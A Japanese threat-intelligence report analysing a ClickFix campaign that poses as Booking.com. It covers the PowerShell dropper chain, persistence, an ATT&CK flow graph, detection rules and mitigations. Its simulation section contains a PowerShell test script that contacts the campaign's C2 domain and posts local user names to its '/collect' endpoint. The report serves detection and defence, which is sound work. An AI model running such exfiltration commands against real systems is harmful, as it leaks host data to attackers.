ClickFix攻撃チェーンの完全解析 (パート1)
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、Booking.comを装った悪意あるWebサイトを用いて、ユーザーにPowerShellコマンドをコピーして実行させるClickFixキャンペーンについて詳述しています。コマンドが実行されると、ファイルレスのPowerShellスクリプトが起動し、第二段階のZIPアーカイブをダウンロードします。このドロッパーはホスト情報を収集し、ペイロードを一時ディレクトリに書き込み、Runレジストリキーとスケジュールされたタスクによって持続性を確立します。全体的な感染チェーンは、明白なエクスプロイトではなく、説得力のあるWebコンテンツとユーザー主導の実行に依存しています。
調査
Stormshieldのアナリストは、コマンドアンドコントロールドメインからPowerShellコマンドを取得してクリップボードに置くJavaScriptを捕捉しました。また、ドロッパーを分析し、WMIクエリと環境変数を通じて詳細なシステム情報を収集し、GETリクエストでデータを流出させる様子を確認しました。同じドロッパーは第二のドメインからZIPアーカイブをダウンロードし、その内容を抽出し、侵害されたホストに持続性を設定しました。研究者たちは観察した行動と手法を対応するMITRE ATT&CK識別子にマッピングしました。
緩和策
組織は、ClickFixキャンペーンに関連する悪意のあるドメインとURLをブロックし、フィッシングスタイルのランディングページへの曝露を減らすために厳格なWebフィルタリングを適用するべきです。防御者はPowerShellの実行をフラグと共に監視するべきです。例えば、 -ExecutionPolicy Bypass や隠しウィンドウ設定を使用し、一方で署名されていないPowerShellスクリプトの実行をアプリケーション制御で制限することを推奨します。追加の検出は、不審なRunレジストリキーと、見慣れない名前のスケジュールされたタスクの作成に焦点を当てるべきです。
対応
セキュリティチームは、特定されたコマンドアンドコントロールドメインへのアウトバウンドトラフィックと、リモートで取得されたコンテンツを実行するために Invoke-Expression を使用するPowerShellコマンドラインを警告するべきです。検出ロジックは、このキャンペーンに関連する特定のRunレジストリ値とスケジュールされたタスク名の作成もカバーするべきです。活動が確認された場合、即座にエンドポイントを隔離し、一時ファイルとダウンロードされたZIPペイロードのフォレンジックレビューを実施してください。
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Action</b> – Initial Access: Malicious copyu2011paste webpage"] tech_user_exec["<b>Technique</b> – T1204.004 User Execution: Malicious Copy and Paste"] process_ps["<b>Process</b> – PowerShell command copied to clipboard"] tech_ps["<b>Technique</b> – T1059.001 PowerShell"] tech_process_inject["<b>Technique</b> – T1055.011 Process Injection"] action_discovery["<b>Action</b> – System Discovery"] tech_account_discovery["<b>Technique</b> – T1087 Account Discovery"] tech_security_sw["<b>Technique</b> – T1518.001 Security Software Discovery"] tech_time_discovery["<b>Technique</b> – T1124 System Time Discovery"] action_c2["<b>Action</b> – Command and Control"] tech_http_c2["<b>Technique</b> – T1071.001 Web Protocols (HTTP)"] action_download["<b>Action</b> – Payload Download"] tech_ingress["<b>Technique</b> – T1105 Ingress Tool Transfer"] action_deploy["<b>Action</b> – Deploy payload (ZIP extraction)"] action_persistence["<b>Action</b> – Persistence establishment"] tech_registry_run["<b>Technique</b> – T1547.001 Registry Run Keys / Startup Folder"] tech_scheduled_task["<b>Technique</b> – T1053.005 Scheduled Task/Job: At Logon"] action_final["<b>Action</b> – Final execution of payload"] process_payload["<b>Process</b> – Extracted executable or batch file"] %% Connections action_initial –>|triggers| tech_user_exec tech_user_exec –>|leads to| process_ps process_ps –>|executes| tech_ps tech_ps –>|may perform| tech_process_inject tech_process_inject –>|enables| action_discovery action_discovery –>|uses| tech_account_discovery action_discovery –>|uses| tech_security_sw action_discovery –>|uses| tech_time_discovery action_discovery –>|sends data to| action_c2 action_c2 –>|uses| tech_http_c2 action_c2 –>|triggers| action_download action_download –>|uses| tech_ingress action_download –>|stores file in| action_deploy action_deploy –>|creates| action_persistence action_persistence –>|uses| tech_registry_run action_persistence –>|fallback| tech_scheduled_task action_persistence –>|enables| action_final action_final –>|launches| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "
攻撃フロー
検出
可能な持続性ポイント [ASEPs – ソフトウェア/NTUSERハイブ] (via registry_event)
表示
Powershellによるダウンロードまたはアップロード (via cmdline)
表示
Powershellから不審な.NETメソッド呼び出し (via powershell)
表示
Schtasksが不審なディレクトリ/バイナリ/スクリプトを指す (via cmdline)
表示
Wmi Powershellモジュールを使用した可能性のあるシステム情報の発見 (via powershell)
表示
ClickFix技術による悪意のあるPowerShell実行の検出 [Windows Powershell]
表示
ClickFixフィッシングコマンドの取得とテレメトリの検出 [Webserver]
表示
シミュレーション実行
前提条件: テレメトリとベースラインの事前飛行チェックが合格している必要があります。
理由: このセクションでは、検出ルールをトリガーするように設計された敵対者の手法 (TTP) の正確な実行を詳述します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃ナラティブとコマンド:
侵入に成功した攻撃者が、内部の侵害されたワークステーション上で、ClickFix C2 URLに?get_command=1パラメータを用いてHTTP POSTを行い、PowerShellのワンライナーを発行します。サーバーは、ローカルユーザーアカウントを列挙 (T1087) し、システム時間をチェック (T1124) し、インストールされているセキュリティ製品を発見 (T1518.001) したのち、出力をクリップボードにコピーするPowerShellペイロードを返します。その後、クリップボードの内容はClickFixサーバーに再び投稿され、T1204.004とT1547.001を達成します。この正確なトラフィックパターンは、Sigmaルールのrequest_uri|contains:"?get_command=1"andhttp_method:POST条件に一致します。 -
回帰テストスクリプト:
# ClickFixコマンド取得シミュレーション – Sigmaルールをトリガー $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1" $payload = @{ dummy = "data" } # 悪意のあるPOSTリクエストを送信 $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json" # 取得したPowerShellコマンドの実行をシミュレート (簡略化) $psCommand = $response.Content Write-Output "取得したコマンド: $psCommand" # デモ用に安全な部分集合 (例: ローカルユーザーの取得) を実行してクリップボードにコピー $users = Get-LocalUser | Select-Object -ExpandProperty Name $usersString = $users -join "`n" Set-Clipboard -Value $usersString # クリップボードの内容をClickFixサーバーに再度送信 (シミュレート) $exfilUrl = "https://accountpulsecentre.help/collect" Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded" -
クリーンアップコマンド:
# テスト中に作成された一時ファイルやアーティファクトを削除 Clear-Clipboard Write-Output "クリーンアップ完了 - クリップボードがクリアされました。"